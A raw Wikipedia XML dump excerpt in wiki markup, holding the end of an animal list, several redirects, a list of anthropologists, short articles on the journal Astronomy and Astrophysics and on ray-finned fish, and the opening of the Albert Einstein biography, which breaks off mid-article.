*[[English Setter|english setter]]
*[[ermine]]
*[[falcon]]
*[[ferret]]
*[[finch]]
*[[firefly]]
*[[fish]] 
*[[flamingo]]
*[[flea]]
*[[fly]]
*[[flyingfish]]
*[[fowl]] 
*[[fox]] 
*[[frog]]
*[[fruit bat]]
*[[gazelle]] 
*[[gecko]]
*[[gerbil]]
*[[German Shepherd Dog|german shepherd]]
*[[giant panda]]
*[[giant squid]]
*[[gibbon]]
*[[gila monster]]
*[[guanaco]]
*[[guineafowl]]
*[[giraffe]] 
*[[goat]]
*[[golden retriever]] 
*[[goldfinch]]
*[[goldfish]]
*[[goose]]
*[[gopher]]
*[[gorilla]] 
*[[grasshopper]]
*[[great blue heron]]
*[[great dane]]
*[[great white shark]]
*[[greyhound]]
*[[grizzly bear]]
*[[grouse]]
*[[guinea pig]]
*[[gull]]
*[[guppy]]
*[[haddock]]
*[[halibut]]
*[[hammerhead shark]]
*[[hamster]]
*[[hare]]
*[[harrier (bird)|harrier]]
*[[hawk]]
{{col-5}}
*[[hedgehog]]
*[[hermit crab]]
*[[heron]]
*[[herring]]
*[[hippopotamus]]
*[[hookworm]]
*[[hornet]] 
*[[horse]]
*[[hound]] 
*[[human]]
*[[hummingbird]]
*[[humpback whale]]
*[[husky]]
*[[hyena]]
*[[iguana]]
*[[impala]]
*[[insect]]
*[[Irish Setter|irish setter]]
*[[Irish Wolfhound|irish wolfhound]]
*[[Irukandji jellyfish]]
*[[jackal]] 
*[[jaguar]]
*[[jay]]
*[[jellyfish]] 
*[[kangaroo]] 
*[[kangaroo mouse]] 
*[[kangaroo rat]] 
*[[kingfisher]]
*[[kite (bird)|kite]]
*[[kiwi]]
*[[koala]]
*[[koi]]
*[[komodo dragon]]
*[[krill]]
*[[labrador retriever]]
*[[ladybug]]
*[[lamprey]]
*[[lark]]
*[[leech]]
*[[lemming]]
*[[lemur]]
*[[leopard]]
*[[leopon]]
*[[liger]]
*[[lion]] 
*[[lizard]] 
*[[llama]]
*[[lobster]] 
*[[locust]]
*[[loon]]
*[[louse]]
*[[lungfish]]
*[[lynx]]
*[[macaw]]
*[[mackerel]] 
*[[magpie]]
*[[mammal]]
*[[manta ray]]
*[[marlin]]
*[[marmoset]]
*[[marmot]]
*[[marsupial]]
*[[marten]]
*[[mastiff]]
*[[meadowlark]]
*[[meerkat]]
*[[mink]]
*[[minnow]]
*[[mite]]
*[[mockingbird]]
*[[mole]]
*[[mollusk]]
*[[mongoose]]
*[[monitor lizard]]
*[[monkey]] 
*[[moose]]
*[[mosquito]]
*[[moth]]
*[[mountain goat]]
*[[mouse]] 
*[[mule]]
*[[muskox]]
*[[mussel]]
{{col-5}}
*[[narwhal]]
*[[newt]]
*[[nightingale]] 
*[[ocelot]]
*[[octopus]]
*[[Old English Sheepdog|old english sheepdog]]
*[[opossum]]
*[[orangutan]] 
*[[orca]]
*[[ostrich]]
*[[otter]]
*[[owl]] 
*[[ox]]
*[[oyster]] 
*[[panda]]
*[[panther]]
*[[panthera hybrid]]
*[[parakeet]]
*[[parrot]]
*[[parrotfish]]
*[[partridge]]
*[[peacock]]
*[[peafowl]]
*[[pekingese]]
*[[pelican]]
*[[penguin]]
*[[perch]]
*[[Peregrine Falcon|peregrine falcon]]
*[[persian (cat)|persian cat]]
*[[pheasant]] 
*[[pig]]
*[[pigeon]]
*[[pike (fish)|pike]]
*[[pilot whale]]
*[[piranha]]
*[[platypus]]
*[[polar bear]]
*[[poodle]]
*[[porcupine]]
*[[porpoise]]
*[[portuguese man o' war]]
*[[possum]]
*[[prairie dog]]
*[[prawn]]
*[[praying mantis]]
*[[primate]]
*[[puffin]]
*[[puma]]
*[[python]]
*[[quail]]
*[[rabbit]]
*[[raccoon]]
*[[rainbow trout]]
*[[rat]]
*[[rattlesnake]]
*[[raven]]
*[[reindeer]]
*[[rhinoceros]]
*[[right whale]]
*[[roadrunner]]
*[[robin]]
*[[rodent]]
*[[rook (bird)|rook]]
*[[roundworm]]
*[[sailfish]]
*[[St. Bernard (dog)|saint bernard]]
*[[salamander]]
*[[salmon]]
*[[sawfish]]
*[[scallop]]
*[[scorpion]]
*[[hippocampus (fish)|seahorse]]
*[[sea lion]]
*[[sea slug]]
*[[sea urchin]]
*[[setter]]
*[[shark]]
*[[sheep]]
*[[sheepdog]]
*[[shrew]]
*[[shrimp]]
*[[siamese (cat)|siamese cat]]
*[[silkworm]]
{{col-5}}
*[[silverfish]]
*[[skink]]
*[[skunk]]
*[[sloth]]
*[[slug]]
*[[smelt]]
*[[snail]]
*[[snake]]
*[[snipe]]
*[[snow leopard]]
*[[sockeye salmon]]
*[[sole]]
*[[spaniel]]
*[[sperm whale]]
*[[spider]]
*[[spider monkey]]
*[[spoonbill]]
*[[squid]]
*[[squirrel]]
*[[starfish]]
*[[Star-nosed Mole|star-nosed mole]]
*[[steelhead trout]]
*[[stoat]]
*[[stork]]
*[[sturgeon]]
*[[swallow]]
*[[swan]]
*[[swift]]
*[[swordfish]]
*[[swordtail]]
*[[tabby cat]]
*[[tahr]]
*[[takin]]
*[[tapeworm]]
*[[tapir]]
*[[tarantula]]
*[[tasmanian devil]]
*[[termite]]
*[[tern]]
*[[terrier]]
*[[thrush]]
*[[tiger]]
*[[tiger shark]]
*[[tigon]]
*[[toad]]
*[[tortoise]]
*[[toucan]]
*[[Toy Poodle|toy poodle]]
*[[trapdoor spider]]
*[[tree frog]]
*[[trout]]
*[[tuna]]
*[[turkey]]
*[[turtle]]
*[[tyrannosaurus]]
*[[urial]]
*[[vampire bat]]
*[[viper]]
*[[vole]]
*[[vulture]]
*[[wallaby]]
*[[walrus]]
*[[wasp]]
*[[warbler]]
*[[water buffalo]]
*[[weasel]]
*[[whale]]
*[[whitefish]]
*[[whooping crane]]
*[[wild cat]]
*[[wildebeest]]
*[[wildfowl]]
*[[wolf]]
*[[wolverine]]
*[[wombat]]
*[[woodpecker]]
*[[worm]]
*[[wren]]
*[[yak]]
*[[zebra]]
{{col-end}}

==References==
*Klaus Nielsen. ''Animal Evolution: Interrelationships of the Living Phyla'' (2nd edition). Oxford Univ. Press, 2001.  
*Knut Schmidt-Nielsen. ''Animal Physiology: Adaptation and Environment''. (5th edition). Cambridge Univ. Press, 1997.

==External links==
{{Sisterlinks|Animalia}}
{{wikispecies| Animalia}}
* [http://tolweb.org/ Tree of Life Project]
* [http://www.arkive.org ARKive] - multimedia database of worldwide endangered/protected species and of UK common species
* [http://www.georgetown.edu/faculty/ballc/animals/animals.html Sounds of the World's Animals] - animal sounds in many languages


[[Category:Animals]]

&lt;!-- interwiki --&gt;

[[af:Animalia]]
[[als:Tiere]]
[[an:Animal]]
[[ast:Animal]]
[[bg:Животно]]
[[bm:Bagan]]
[[zh-min-nan:Tōng-bu̍t]]
[[ca:Animal]]
[[cs:Živočichové]]
[[cy:Anifail]]
[[da:Dyr]]
[[de:Tiere]]
[[et:Loomad]]
[[el:Ζώα]]
[[es:Animal]]
[[eo:Animalo]]
[[fr:Animal]]
[[fy:Dier]]
[[ga:Ainmhí]]
[[he:בעלי חיים]]
[[hr:%C5%BDivotinje]]
[[ko:동물]]
[[io:Animalo]]
[[id:Hewan]]
[[ia:Animal]]
[[it:Animali]]
[[kw:Enyval]]
[[ku:Ajal]]
[[la:Animalia]]
[[lv:Dzīvnieki]]
[[lt:Gyvūnų karalystė]]
[[lb:Déiereräich]]
[[li:Diere]]
[[mk:Животни]]
[[ms:Haiwan]]
[[nah:Yolkatl]]
[[nl:Dieren (rijk)]]
[[nds:Beest]]
[[ja:動物]]
[[no:Dyr]]
[[pl:Zwierzęta]]
[[pt:Animalia]]
[[ru:Животные]]
[[scn:Armali]]
[[simple:Animal]]
[[sl:Živali]]
[[sr:Животиња]]
[[fi:Eläinkunta]]
[[sv:Djur]]
[[th:สัตว์]]
[[uk:Тварини]]
[[zh:动物]]
[[vi:Động vật]]
[[chy:Hova]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Adding Wikipedia articles to Nupedia</title>
    <id>724</id>
    <revision>
      <id>15899247</id>
      <timestamp>2003-03-17T11:02:55Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Wikipedia:Nupedia and Wikipedia]] (moved to meta)</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Nupedia and Wikipedia]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomy/History</title>
    <id>727</id>
    <revision>
      <id>15899249</id>
      <timestamp>2002-09-01T17:24:05Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>bypassing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of astronomy]]</text>
    </revision>
  </page>
  <page>
    <title>List of anthropologists</title>
    <id>728</id>
    <revision>
      <id>42101343</id>
      <timestamp>2006-03-03T21:07:05Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <minor />
      <comment>/* F */  + [[Raymond Firth]]</comment>
      <text xml:space="preserve">See [[Anthropology]].

A '''list of notable anthropologists'''.

{{compactTOC}} __NOTOC__
==A==
*[[John Adair (anthropologist)|John Adair]]
*[[Timothy Asch]]

==B==
*[[Nigel Barley]]
*[[Fredrik Barth]]
*[[Vasily Bartold]]
*[[Keith H. Basso]]
*[[Ruth Behar]]
*[[Ruth Benedict]]
*[[Theodore C. Bestor]]
*[[Wilhelm Bleek]]
*[[Franz Boas]]
*[[Pere Bosch-Gimpera]]
*[[Paul Pierre Broca]]

==C==
*[[Mauro Campagnoli]]
*[[Joseph Campbell]]
*[[Napoléon Chagnon]]
*[[Pierre Clastres]]
*[[Carleton Coon]]
*[[Frank Hamilton Cushing]]

==D==
*[[Raymond Dart]]
*[[Ella Cara Deloria]] 
*[[Mary Douglas]]
*[[Eugene Dubois]]

==E==
*[[Mircea Eliade]]
*[[E. E. Evans-Pritchard]]

==F==
*[[Raymond Firth]]
*[[Dian Fossey]]
*[[James Frazer]]

==G==
*[[Clifford Geertz]]
*[[Alfred Gell]]
*[[Ernest Gellner]]
*[[Max Gluckman]]
*[[Jane Goodall]]
*[[Robert J Gorden]]
*[[Hilma Granqvist]]
*[[Marcel Griaule]]
*[[Jacob Grimm]]
*[[Wilhelm Grimm]]

==H==
*[[Marvin Harris]]
*[[Cassidy Hendrickson]]
*[[Arthur Maurice Hocart]]
*[[Earnest Hooton]]
*[[Ales Hrdlicka|Aleš Hrdli&amp;#269;ka]]

==I==
==J==
*[[William Jones (philologist)|William Jones]]

==K==
*[[Richard G. Klein]]
*[[Dorinne K. Kondo]]
*[[Conrad Kottak]]
*[[Grover Krantz]]
*[[Charles H. Kraft]]
*[[Alfred L. Kroeber]]
*[[Hilda Kuper]]

==L==
*[[William Labov]]
*[[George Lakoff]]
*[[Bruno Latour]]
*[[Edmund Leach]]
*[[Louis Leakey]]
*[[Mary Leakey]]
*[[Richard Leakey]]
*[[Claude Lévi-Strauss]]
*[[Robert Lowie]]

==M==
*[[Bronislaw Malinowski]]
*[[Marcel Mauss]]
*[[Grant McCracken]]
*[[Margaret Mead]]
*[[Mervyn Meggitt]]
*[[Nikolay Miklukho-Maklay]]
*[[Sidney Mintz]]
*[[Ashley Montagu]]
*[[James Mooney]]
*[[John H. Moore]]
*[[Lewis H. Morgan]]
*[[George Murdock]]

==N==
*[[Laura Nader]]
*[[Raoul Naroll]] 

==O==
*[[Gananath Obeyesekere]]
*[[Marvin Opler]]
*[[Morris Opler]]

==P==
*[[Glenn Petersen]]
*[[Bronislav Pilsudski]]
*[[Hortense Powdermaker]]

==Q==
==R==
*[[Wilhelm Radloff]]
*[[Hans Ras]]
*[[Alfred Reginald Radcliffe-Brown]]
*[[Gerardo Reichel-Dolmatoff]]
*[[W. H. R. Rivers]]
*[[Eric Ross]]

==S==
*[[Marshall Sahlins]]
*[[Roger Sandall]]
*[[Edward Sapir]]
*[[Wilhelm Schmidt]]
*[[Tobias Schneebaum]]
*[[Afanasy Shchapov]]
*[[Marilyn Strathern]]

==T==
*[[Edward Burnett Tylor]]
*[[Colin Turnbull]]
*[[Victor Turner]]

==U==
==V==
*[[Christine VanPool]]
*[[Karl Verner]]

==W==
*[[Camilla Wedgwood]]
*[[Hank Wesselman]]
*[[Leslie White]]
*[[Ben White]]
*[[Tim White]]
*[[Benjamin Whorf]]
*[[Clark Wissler]]
*[[Eric Wolf]]
*[[Sol Worth]]

==X==
==Y==
==Z==

[[Category:Lists of people by occupation|Anthropologists]]
[[Category:Anthropologists|*]]

[[es:Lista de antropólogos]]
[[pl:Znani antropolodzy]]
[[pt:Lista_de_antropólogos]]
[[simple:Anthropologist]]
[[sl:seznam antropologov]]
[[zh:人类学家列表]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomy and Astrophysics</title>
    <id>730</id>
    <revision>
      <id>36862446</id>
      <timestamp>2006-01-26T23:25:49Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">'''''Astronomy and Astrophysics''''' (abbreviated as ''A&amp;A'' in the astronomical literature, or else ''Astron. Astrophys.'') is a European Journal, publishing papers on theoretical, observational and instrumental [[astronomy]] and [[astrophysics]].  It was published by [[Springer-Verlag]] from [[1969]]-[[2000]], while [[EDP Sciences]] published the companion ''A&amp;A Supplement Series''.  In 2000, the two journals merged, with the combined journal known simply as ''Astronomy and Astrophysics'', and published by EDP Sciences.

''A&amp;A'' is one of the major journals of astronomy, alongside the ''[[Astrophysical Journal]]'', ''[[Astronomical Journal]]'' and the ''[[Monthly Notices of the Royal Astronomical Society]]''.  While the first two are often the preferred journal of US-based researchers and the MNRAS is often the favoured journal for UK- and Commonwealth-based astronomers, A&amp;A tends to be the preferred journal of astronomers based in [[Europe]] (excluding the UK), particularly since page charges are waived for astronomers working in member countries.

''A&amp;A'' was created from the merger in 1969 of six major European astronomical journals     
* ''Annales d'Astrophysique'' (France), founded in 1938
* ''Arkiv for Astronomi'' (Sweden), founded in 1948
* ''Bulletin of the Astronomical Institutes of the Netherlands'', founded in 1921
* ''Bulletin Astronomique'' (France), founded in 1884
* ''Journal des Observateurs'' (France), founded in 1915
* ''Zeitschrift fur Astrophysik'' (Germany), founded in 1930
and extended in 1992 by the incorporation of:
* ''Bulletin of the Astronomical Institutes of Czechoslovakia'', founded in 1947

==External links==
*[http://www.aanda.org/ A&amp;A home page]
*[http://www.edpsciences.org/journal/index.cfm?edpsname=aa A&amp;A Publisher's home page]

[[Category:Astronomy journals]]


{{sci-journal-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Astronomy and Astrophysics/History</title>
    <id>731</id>
    <revision>
      <id>15899252</id>
      <timestamp>2002-10-09T13:49:22Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[History of astronomy]]</comment>
      <text xml:space="preserve">#REDIRECT [[History of astronomy]]</text>
    </revision>
  </page>
  <page>
    <title>Actinopterygii</title>
    <id>734</id>
    <revision>
      <id>40010022</id>
      <timestamp>2006-02-17T13:44:26Z</timestamp>
      <contributor>
        <ip>209.158.165.30</ip>
      </contributor>
      <comment>/* Classification */</comment>
      <text xml:space="preserve">{{taxobox
| color=pink
| name=Ray-finned fish
| image = Herring2.jpg
| image_caption = [[Atlantic herring]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = '''Actinopterygii'''
| classis_authority = Klein 1885
| subdivision_ranks = Subclasses
| subdivision =
[[Chondrostei]]&lt;br/&gt;
[[Neopterygii]]&lt;br/&gt;
See text for orders.}}
The '''Actinopterygii''' are the '''ray-finned [[fish]]'''. They are the dominant group of [[vertebrate]]s, with over 27,000 species ubiquitous throughout [[fresh water]] and [[ocean|marine]] environments.

==Classification==
Traditionally three grades of Actinopterygii have been recognized: the '''[[Chondrostei]]''', '''[[Holostei]]''', and '''[[Teleostei]]'''.  The second is [[paraphyletic]] and tends to be abandoned, however, while the first is now restricted to those forms closer to extant [[Chondrostei]] than to the other groups.  Nearly all fish alive today are teleosts.  A listing of the different groups is given below, down to the level of orders, arranged in what is believed to represent the evolutionary sequence down to the level of superorder.

* '''Subclass [[Chondrostei]]'''
** Order [[Polypteriformes]]  (bichirs)
** Order [[Acipenseriformes]]  (sturgeons, paddlefish)
* '''Subclass [[Neopterygii]]'''
** Order [[Semionotiformes]]  (gars)
** Order [[Amiiformes]]  (bowfins)
** '''Infraclass [[Teleostei]]'''
*** '''Superorder [[Osteoglossomorpha]]'''
**** Order [[Osteoglossiformes]]  (bony tongues, etc)
**** Order [[Hiodontiformes]]  (mooneye, etc)
*** '''Superorder [[Elopomorpha]]'''
**** Order [[Elopiformes]]  (tarpons, etc)
**** Order [[Albuliformes]]  (bonefishes)
**** Order [[Notacanthiformes]]  (spiny eels)
**** Order [[Anguilliformes]]  (true eels, gulpers)
**** Order [[Saccopharyngiformes]]
*** '''Superorder [[Clupeomorpha]]'''
**** Order [[Clupeiformes]]  (herrings &amp; allies)
*** '''Superorder [[Ostariophysi]]'''
**** Order [[Gonorynchiformes]]
**** Order [[Cypriniform]]es  (minnows &amp; allies)
**** Order [[Characiformes]]  (characins &amp; allies)
**** Order [[Gymnotiformes]]  (electric eels, knifefishes)
**** Order [[Siluriformes]]  (catfishes)
*** '''Superorder [[Protacanthopterygii]]'''
**** Order [[Salmoniformes]]  (salmon &amp; allies)
**** Order [[Esociformes]]  (pikes &amp; allies)
**** Order [[Osmeriformes]]  (smelts &amp; allies)
*** '''Superorder [[Sternopterygii]]'''
**** Order [[Ateleopodiformes]]  (jellynose fishes)
**** Order [[Stomiiformes]]  (dragonfishes &amp; allies)
*** '''Superorder [[Cyclosquamata]]'''
**** Order [[Aulopiformes]]  (lizardfishes)
*** '''Superorder [[Scopelomorpha]]'''
**** Order [[Myctophiformes]]  (lanternfishes)
*** '''Superorder [[Lampridiomorpha]]'''
**** Order [[Lampridiformes]]  (opahs, etc)
*** '''Superorder [[Polymyxiomorpha]]'''
**** Order [[Polymixiiformes]]  (beardfishes)
*** '''Superorder [[Paracanthopterygii]]'''
**** Order [[Percopsiformes]]  (trout-perches &amp; allies)
**** Order [[Batrachoidiformes]]  (toadfishes)
**** Order [[Lophiiformes]]  (goosefishes, etc)
**** Order [[Gadiformes]]  (cods &amp; allies)
**** Order [[Ophidiiformes]]  (cusk eels, etc)
*** '''Superorder [[Acanthopterygii]]'''
**** Order [[Mugiliformes]]  (mullets &amp; allies)
**** Order [[Atheriniformes]]  (silversides &amp; allies)
**** Order [[Beloniformes]]  (needlefishes, etc)
**** Order [[Cetomimiformes]] (whalefishes)
**** Order [[Cyprinodontiformes]]  (killifishes, etc)
**** Order [[Stephanoberyciformes]]  (pricklefishes, whalefishes, etc)
**** Order [[Beryciformes]]  (alfonsinos, etc)
**** Order [[Zeiformes]]  (dories, etc)
**** Order [[Gasterosteiformes]]  (sticklebacks, pipefishes, seahorses, etc)
**** Order [[Synbranchiformes]]  (swamp-eels, etc)
**** Order [[Tetraodontiformes]] (triggerfishes &amp; allies)
**** Order [[Pleuronectiformes]] (flatfishes &amp; allies)
**** Order [[Scorpaeniformes]] (scorpionfishes &amp; allies)
**** Order [[Perciformes]] (perches &amp; many allies)


Subphulum Vertebrata

==External links==
* * [http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?name=actinopterygii NCBI Taxonomy entry]

==References==
* {{ITIS|ID=161061|year=2004|date=8 December|taxon=Actinopterygii}}

[[Category:Ray-finned fish| ]]
[[Category:Bony fish]]

[[bg:Лъчеперки]]
[[cs:Paprskoploutví]]
[[da:Strålefinnede fisk]]
[[de:Strahlenflosser]]
[[fa:شعاع‌باله]]
[[fr:Actinopterygii]]
[[ko:조기어류]]
[[is:Geisluggar]]
[[he:מקריני סנפיר]]
[[la:Actinopterygii]]
[[lt:Stipinpelekės žuvys]]
[[nl:Straalvinnigen]]
[[ja:条鰭亜綱]]
[[no:Strålefinnede fisker]]
[[pl:Promieniopłetwe]]
[[pt:Actinopterygii]]
[[fi:Viuhkaeväiset]]
[[sv:Taggfeniga fiskar]]
[[zh:輻鰭魚]]</text>
    </revision>
  </page>
  <page>
    <title>Al Gore/Criticisms</title>
    <id>735</id>
    <revision>
      <id>15899255</id>
      <timestamp>2002-06-16T15:12:19Z</timestamp>
      <contributor>
        <username>Ortolan88</username>
        <id>1325</id>
      </contributor>
      <minor />
      <comment>*moved  single para to main article, made this redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Al Gore]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Einstein</title>
    <id>736</id>
    <revision>
      <id>42155072</id>
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[[Image:Einstein In Overcoat.jpg|thumb|right|222px|Albert Einstein photographed by Oren J. Turner in 1947.]]

'''Albert Einstein''' ([[March 14]], [[1879]] – [[April 18]], [[1955]]) was a [[Germany|German]]-born [[theoretical physics|theoretical physicist]] widely regarded as the greatest [[science|scientist]] of the 20th century. He was the author of the [[general theory of relativity]]  and made important contributions to the [[special theory of relativity]], [[quantum mechanics]], [[statistical mechanics]], and [[physical cosmology|cosmology]]. He was awarded the 1921 [[Nobel Prize in Physics|Nobel Prize for Physics]] for his explanation of the [[photoelectric effect]] in 1905 (his &quot;[[Annus Mirabilis Papers|miracle year]]&quot;) and &quot;for his services to Theoretical Physics.&quot;

After British [[solar eclipse]] expeditions in 1919 confirmed that light rays from distant stars were deflected by the gravity of the sun in the exact amount he predicted in his [[general theory of  relativity]], Einstein became world-famous, an unusual achievement for a scientist. In his later years, his fame exceeded that of any other scientist in [[history of science and technology|history]]. In [[popular culture]], his name has become synonymous with great [[intelligence (trait)|intelligence]] and [[genius]].

==Biography==
[[Image:Young Albert Einstein.jpg|thumb|left|222px|Young Einstein before the Einsteins moved from [[Germany]] to [[Italy]].]]
===Youth and college===
Einstein was born on [[March 14]], [[1879]] at [[Ulm]] in [[Baden-Württemberg]], [[German Empire]], about 100 km east of [[Stuttgart]]. His parents were Hermann Einstein, a featherbed salesman who later ran an [[electrochemistry|electrochemical]] works, and Pauline, whose maiden name was Koch. They were married in Stuttgart-Bad Cannstatt. The family was [[Jew]]ish (non-observant); Albert attended a [[Catholic school|Catholic elementary school]] and, at the insistence of his mother, was given [[violin]] lessons. Though he initially disliked (and eventually discontinued) the lessons, he would later take great solace in [[Wolfgang Amadeus Mozart|Mozart]]'s [[violin sonata]]s.

When Albert was five, his [[father]] showed him a pocket [[compass]], and Einstein realized that something in &quot;empty&quot; space acted upon the [[needle]]; he would later describe the experience as one of the most revelatory of his life. Though he built [[model (physical)|model]]s and [[machine|mechanical device]]s for fun and showed great mathematical faculty early on, he was considered a slow learner, possibly due to [[dyslexia]], simple [[shyness]], or the significantly rare and unusual structure of [[Albert Einstein's brain|his brain]] (examined after his death).{{rf|1|brain}} He later credited his development of the theory of relativity to this slowness, saying that by pondering space and time later than most children, he was able to apply a more developed intellect. Some researchers have speculated that Einstein may have exhibited some traits of mild forms of [[autism]], although they concede that a reliable posthumous diagnosis is impossible.{{rf|2|autism}}

In 1889, a student named Max Talmud introduced Einstein to key science and [[philosophy]] texts including [[Immanuel Kant|Kant's]] ''[[Critique of Pure Reason]]''. Two of his uncles would further foster his intellectual interests during his late childhood and early adolescence by suggesting and providing books on science, mathematics and philosophy. 

Einstein attended the [[Luitpold Gymnasium]] where he received a relatively progressive education.  He began to learn [[mathematics]] around age twelve: in 1891, he taught himself [[Euclidean geometry|Euclidean plane geometry]] from a school booklet and began to study [[calculus]]. There is a recurring [[rumor]] that he failed mathematics later in his education, but this is untrue; a change in the way grades were assigned caused confusion years later. While there, he clashed with authority and resented the school regimen, believing the spirit of learning and creative thought were lost in such an endeavor as strict memorization.    

In 1894, following the failure of Hermann's electrochemical business, the Einsteins moved from [[Munich]] to [[Pavia, Italy]] (near [[Milan]]). Einstein's first scientific work was written therein (called &quot;''The Investigation of the State of [[Aether]] in [[Magnetic Field]]s''&quot;).  Albert remained behind in Munich lodgings to finish school, completing only one term before leaving the [[gymnasium (school)|gymnasium]] in spring 1895 to rejoin his family in Pavia. He quit without telling his parents and a year and a half prior to final examinations, Einstein convinced the school to let him go with a medical note from a friendly doctor, but this meant he had no secondary-school certificate.{{rf|3|Highfield1}} That year, at the age of 16, he performed the [[thought experiment]] known as Albert Einstein's mirror. After gazing into a mirror, he examined what would happen to his image if he were moving at the [[speed of light]]; his conclusion that the speed of light is independent of the observer would later become one of the two [[postulates of special relativity]].  

Despite excelling in the mathematics and science portion, his failure of the liberal arts portion of the ''[[ETH Zurich|Eidgenössische Technische Hochschule]]'' (ETH, Swiss Federal Institute of Technology, in [[Zurich]]) entrance exam the following year was a setback; his family sent him to [[Aarau]], [[Switzerland]], to finish secondary school, where he studied the seldom-taught [[James Clerk Maxwell|Maxwell's]] [[classical electromagnetism|electromagnetic theory]] and received his diploma in September 1896. During this time he lodged with Professor Jost Winteler's family and became enamoured with Marie, their daughter, his first sweetheart. Albert's sister Maja was to later marry their son Paul, and his friend [[Michele Besso]] married their other daughter Anna.{{rf|4|Highfield2}} Einstein subsequently enrolled at the ''Eidgenössische Technische Hochschule'' in October and moved to Zurich, while Marie moved to [[Olsberg]] for a teaching post. The same year, he renounced his [[Württemberg]] citizenship and became [[stateless person|stateless]].

In the spring of 1896, the [[Serbia]]n [[Mileva Maric|Mileva Marić]] started initially as a medical student at the [[University of Zurich]], but after a term switched to the same section as Einstein as the only woman that year to study for the same diploma. Einstein's relationship with Mileva developed into romance over the next few years.

In 1900, he was granted a teaching diploma by the ''Eidgenössische Technische Hochschule'' ([[ETH Zurich]]). Einstein then wrote his first published paper on the [[capillary action|capillary forces]] of a drinking straw, wherein he tried to unify the [[laws of physics]], an attempt he would continually make throughout his life. (It was titled &quot;''Folgerungen aus den Capillaritätserscheinungen'',&quot; which translated is &quot;''Consequences of the observations of capillarity phenomena'',&quot; found in &quot;''Annalen der Physik''&quot; volume 4, page 513.) Shortly following, Einstein was accepted as a Swiss citizen in 1901; he kept his Swiss passport for his whole life. Through his friend Michelle Besso, an [[engineer]], he was presented with the works of [[Ernst Mach]] and later would consider him &quot;the best sounding board in Europe&quot; for physical ideas. During this time Einstein discussed his scientific interests with a group of close friends, including Besso and Mileva. The men referred to themselves as the &quot;Olympia Academy.&quot; He and Mileva had an illegitimate daughter [[Lieserl Einstein|Lieserl]], born in January 1902.

===Work and doctorate===
[[Image:Einstein patentoffice.jpg|frame|right||Einstein in 1905, when he wrote the &quot;''[[Annus Mirabilis Papers]]''&quot;]]

Upon graduation, Einstein could not find a teaching post, mostly because his brashness as a young man had apparently irritated most of his professors. The father of a classmate helped him obtain employment as a technical assistant [[patent clerk|examiner]] at the Swiss Patent Office{{rf|5|www.ipi.ch.376}} in 1902. There, Einstein judged the worth of [[inventor]]s' [[patent]] applications for devices that required a knowledge of physics to understand — in particular he was chiefly charged to evaluate patents relating to electromagnetic devices.{{rf|6|Galison368}} He also learned how to discern the essence of applications despite sometimes poor descriptions, and was taught by the director how &quot;to express [him]self correctly&quot;. He occasionally rectified their design errors while evaluating the practicality of their work.

Einstein married [[Mileva Marić]] on [[January 6]], [[1903]]. Einstein's marriage to Marić, who was a mathematician, was both a personal and intellectual partnership: Einstein referred to Mileva as &quot;a creature who is my equal and who is as strong and independent as I am&quot;.  [[Ronald W. Clark]], a biographer of Einstein, claimed that Einstein depended on the distance that existed in his and Mileva's marriage in order to have the solitude necessary to accomplish his work; he required intellectual isolation.  [[Abram Joffe]], a Soviet physicist who knew Einstein, in an obituary of Einstein, wrote, &quot;The author of [the papers of 1905] was ... a bureaucrat at the Patent Office in Bern, Einstein-Marić&quot; and this has recently been taken as evidence of a collaborative relationship.  However, according to Alberto A. Martínez of the Center for Einstein Studies at Boston University, Joffe only ascribed authorship to Einstein, as he believed that it was a Swiss custom at the time to append the spouse's last name to the husband's name.{{rf|7|physicsweb.org.377}}  Whatever the truth, the extent of her influence on Einstein's work is a highly controversial and debated question.

On [[May 14]], [[1904]], the couple's first son, [[Hans Albert Einstein]], was born. In 1903, Einstein's position at the [[Swiss Patent Office]] had been made permanent, though he was passed over for promotion until he had &quot;fully mastered machine technology&quot;.{{rf|8|Galison370}} He obtained his [[Doctor of Philosophy|doctorate]] after submitting his thesis &quot;''A new determination of molecular dimensions''&quot; (&quot;''Eine neue Bestimmung der Moleküldimensionen''&quot;) in 1905.

That same year, he wrote four articles that provided the foundation of modern physics, without much [[scientific literature]] to which he could refer or many scientific colleagues with whom he could discuss the theories. Most physicists agree that three of those papers (on [[Brownian motion]], the [[photoelectric effect]], and [[special relativity]]) deserved [[Nobel Prize]]s. Only the paper on the photoelectric effect would be mentioned by the Nobel committee in the award. This is ironic, not only because Einstein is far better-known for relativity, but also because the photoelectric effect is a quantum phenomenon, and Einstein became somewhat disenchanted with the path [[quantum mechanics|quantum theory]] would take. In each of these papers, Einstein boldly took an idea from theoretical physics to its logical consequences and managed to explain experimental results that had baffled scientists for decades.
[[Image:Max-Planck-und-Albert-Einstein.jpg|thumb|left|222px|[[Max Planck]] and Einstein]]

====Annus Mirabilis Papers====
{{details|Annus Mirabilis Papers}}

Einstein submitted the series of papers to the &quot;''Annalen der Physik''&quot;.  They are commonly referred to as the &quot;''[[Annus Mirabilis Papers]]''&quot; (from [[List of Latin phrases|''Annus mirabilis'']], [[Latin]] for 'year of wonders'). The International Union of Pure and Applied Physics ([[IUPAP]]) commemorated the 100th year of the publication of Einstein's extensive work in 1905 as the '[[World Year of Physics 2005]]'.

